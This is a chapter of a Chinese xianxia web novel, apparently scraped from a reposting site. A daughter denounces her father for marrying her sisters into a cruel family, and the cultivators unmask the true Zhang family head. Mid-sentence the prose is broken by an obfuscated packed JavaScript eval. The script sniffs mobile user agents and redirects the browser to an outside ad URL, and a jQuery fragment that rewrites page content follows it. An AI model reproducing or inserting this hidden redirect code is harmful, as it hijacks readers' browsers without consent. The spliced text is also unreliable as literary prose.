“孽女!”
没等众人反应过来,一直高高在上端坐着的男人猛地起身,毫不留情给了面前少女一巴掌。
“两姓联姻,互惠互利。”
“此等大事岂容你任性妄为,说不嫁就不嫁?!”
他这一下没收力,打得又重又急。
三娘却没躲,只闭着眼生生受了这一掌。
少女被打得偏过头去,白玉般的脸颊迅速泛起红肿掌印,散乱墨发遮住她大半张脸,让人难以窥见真实神情,姜姒下意识伸手要扶,却被一旁的人给挡了回去。
季长青垂眸看她,微不可察摇了摇头。
小姑娘蹙眉,犹豫着收回了手,视线却还是不受控地看向那一身嫁衣的李三娘——她弯腰捂脸,沉默良久。
见对方许久未动,似是如往常一般被狠狠打服后的窝囊模样,李鑫‘哼’了一声,甩了甩手重新坐下,语气里是怎么也忽视不了的、自以为是的傲慢:
“好了,三娘啊,爹知你许是有些怕羞才说出这等不肯嫁人的混账话。但你如今早已及笄,两家的庚帖婚书也已交换妥当,过了明路。你也该多学着你长姐,懂点事,多为爹,为李家分忧着想。”
“如此,我也才不算白养你一场啊。”
男人一副苦口婆心的慈父模样,把自己摘得干干净净,话里话外却都在有意无意的引导——自己拉扯女儿长大不容易,结果女儿大了就成了个不孝顺的白眼狼,凡事都和他对着干,任性又不省心。
死绿茶。
小姑娘毫不掩饰地翻了个白眼,乾坤袋都没他能装。
一番颠倒黑白不要脸的话听得她火大,顾不上自家师兄拉着衣袖的手就要往前冲。
但有人比她快了一步。
刚才还缩着身体的少女慢慢挺直了脊背,她随手抹掉唇边血迹,掀起眼皮,目光如刃,死死盯住了面前的男人。
“养我一场?”,李三娘的声音又尖又冷,宛如锋利长刀刮过凛冽寒石,“你怎么配说‘养’这个字?”
“自打出生起,我就没见过阿娘,你更是整日不着家,是长姐和二娘一点点拉扯我长大。”
“我知道的,你其实一直想要个儿子,娘却连着生了三个女儿。所以你厌弃她,连带着不喜我们姐妹。但这些我都不在乎,只要能和姐姐们在一起,无论怎样,我都可以接受。”
李三娘散着发,眼尾泛红嫁衣染血,宛如从地狱里挣扎着爬出、重返人间索命的厉鬼。她一步步凑近座上那人,声音噙着诡异的平静:“但是,你为什么要害死她们呢。”
不是质问。
是肯定。
“不孝女你胡说些什么?!”
李鑫下意识反驳,嗓门很大,却虚得很,像是色厉内荏:“你们的吃穿用度都是我、是李府供给你们的!没有我养着,你们能每天锦衣玉食、仆妇环绕?能学琴谱曲、识文断字?怕是......”
“嗤——”
没等男人说完,李三娘已经冷笑出声:“你扪心自问,做这些,到底是为了我们,还是为了自己?”
她一字一顿,声声泣血:“琴棋书画,不过是为了讨人欢心;诗词歌赋,不过是为了附庸风雅。长姐喜欢骑射,二娘对算数颇有天赋,你却强逼着她们,做出贤良恭顺的模样——执弓的手被迫拈起绣针,记忆超群的人被迫背下一则则‘至理箴言’。”
“漂亮的女子很值钱,有才情又漂亮的贤惠女子更值钱。”
“从始至终,你想的都只是如何让我们攀上高枝,仅此而已。”
“你才不会在乎我们嫁过去的日子有多难过,会不会被人轻视欺负,会不会所托非人,被折磨致死。”
少女越说越激动,最后一句话却意外放得很轻。
像是想起了什么,她又忽的展了笑颜,伸出手,指向一旁已经冷了神色的张天:
“你明知道张家人都古怪得很,却还是愿意把我长姐嫁过去,甚至于她死了你都不敢多诘问一句!说不让看尸体就不看尸体。”
“还有二娘,长姐走了没多久,你就逼着她嫁给张家二郎,那个脾气古怪喜怒无常的病秧子,看着懦弱得很,实则心狠手辣,还没成婚就敢对着我二姐拳打脚踢,最后逼得她实在受不了,才会一条白绫草草送了性命。”
“她把攒了好久的钱给了我,叮嘱我一定要离开这里,改头换面隐姓埋名做什么都好,只不要再随随便便被你一顶花轿许了人家。”
“可惜,我没能完成她的遗愿。”
说着,她又凑近几分,望进男人那双已经浑浊的眼底,像是不解:“两姓联姻,互惠互利?”
“惠的是你李鑫,利的是他张家。”
“和我们,有关系么?”
“你!——”
高高扬起的手还没扇下去,就被人捉住小臂,扔垃圾似的丢到了一边。李鑫又惊又怒,瞪眼去看,却只对上了一双漆黑幽冷的凤眼。
他气势瞬间就弱了下去,几乎是下意识往后踉跄几步,重重跌在了木椅里:“你、你想干什么?”
郁清懒得理他,只垂眸查看姜姒有没有受伤。
被护在怀里的小白眼狼好得很。
只顾着给她的好妹妹治疗伤口,完全忽视了他这个师兄。
少年眸色愈发黑沉,手却很诚实地从怀中摸出一个小巧瓷瓶递了过去:“她还未入道,身体接纳不了你太多灵力,用这个。”
见对方带着疑惑的目光落到他手上,郁清‘啧’了声,偏过头,语速飞快:“灵竹膏,可迅速消肿,活血化瘀。”
他神色是一如既往的不耐,但若是细看,便可轻易发现他握着瓷瓶的手在微微颤抖,藏在冷白肌肤下的青色血管也蜿蜒鼓起,像是蛰伏待发的毒蛇。
姜姒接过药膏试了试,细腻如雪的膏体触之即化,红肿的伤口不过须臾便好了大半,刺目的掌印也渐渐消了下去。
小姑娘语调轻快,柳眉舒展,对着郁清无比真诚道了谢。
十七岁的少女声音又甜又软,墨绿发带被风扬起,无意擦过殷红唇瓣,惊起少年心中一片涟漪。
郁清堪称慌乱地移开了视线。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098380|161815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转过脸,摸了摸有些发烫的心口,不知该怎样才能准确形容这种感觉,只觉像是又回到了许多年前第一次吃糖的时候。
糖其实没多甜,甚至因为放得久了,还多出酸涩两种旁的滋味,但他就是舍不得吐出来,那糖被他含在舌尖,细细舔舐了个遍,只要觉出一点点甜味,他便觉得欢喜万分。
现在想来,他大抵是吃苦吃怕了,所以哪怕只有一点甜味,被他抓到,他也死命不会放手,深陷其中,甘之如饴——
不论是糖,还是人。
*
细心给李三娘处理完伤口后,姜姒抬头一看,只见原本还热热闹闹的厅堂里此时只剩下了拿着木棍的家丁和几个等着看戏的张家人。
小姑娘挑眉,抬手把三娘护在了自己身后。
她慢悠悠环视一圈,最后把目光落在了庭院正中心面色不善的张天身上。
不,现在应该不是张天了。
看着眼前身体佝偻,面皮枯皱,仿佛一瞬之间苍老十岁的老人,姜姒毫不意外,声音甚至还噙着几分笑意:
“终于演够了么?真正的张家家主——”
“张麒。”
一听到这个名字,原本就目露凶意的人眼神愈发狠戾,他压着眉眼,沉声问道:“你们......到底是何时发现我真实身份的?”
“不是我说,你不会以为自己装的很好吧?!”
熟悉的男声兀地响起,姜姒顺着声音望去,只见林尽柒单手支着长刀,眼神戏谑,一条胳膊还吊儿郎当地挂在一旁的尘一身上。
见张麒脸上那副‘难道不是吗’的自信模样。
少年毫不客气嗤笑出声:“老匹夫真是好大的脸,既如此,小爷我就发发善心告诉你罢!”
几乎是话音落下的同时,林尽柒就瞬移到了张麒身边。
他步法又快又奇,几乎没人看清他到底是怎么移动过去的。
几个家丁一惊,反应过来后连忙握着木棍急急转身,然而为时已晚——
锋利长刀已经抵在了男人脖颈旁,划出一条极细血线。
少年依旧是那副玩世不恭的调笑模样,他冲着姜姒几人挑了挑眉,随即看向身旁的人质开口道:
“你不过一介普通凡人,应是不懂那些上古邪术的,老老实实交代幕后之人,说不定我等可以饶你不死。”
放在剑上的手微微放松,姜姒凝神侧耳,等着那人说出幕后黑手。
然而出乎预料,被刀架着脖子的人丝毫不慌,他只是很平静地笑了一声,用三分催促七分熟稔,老友闲谈般的语气问了句:
“还不出来么?”
无人应答。
只是一句有些莫名其妙的话。
姜姒心中却忽地泛起强烈不安。
像是感知到了什么,她猛地抬眸,反手抽出逢惊春对准林尽柒的方向扔了过去。
被裹挟着杀意的剑气逼得向一旁后退三步,少年好不狼狈,刚想质问自家道友为何突然反水,一道娇俏女声就在离他不足三寸的地方——
兀地响起。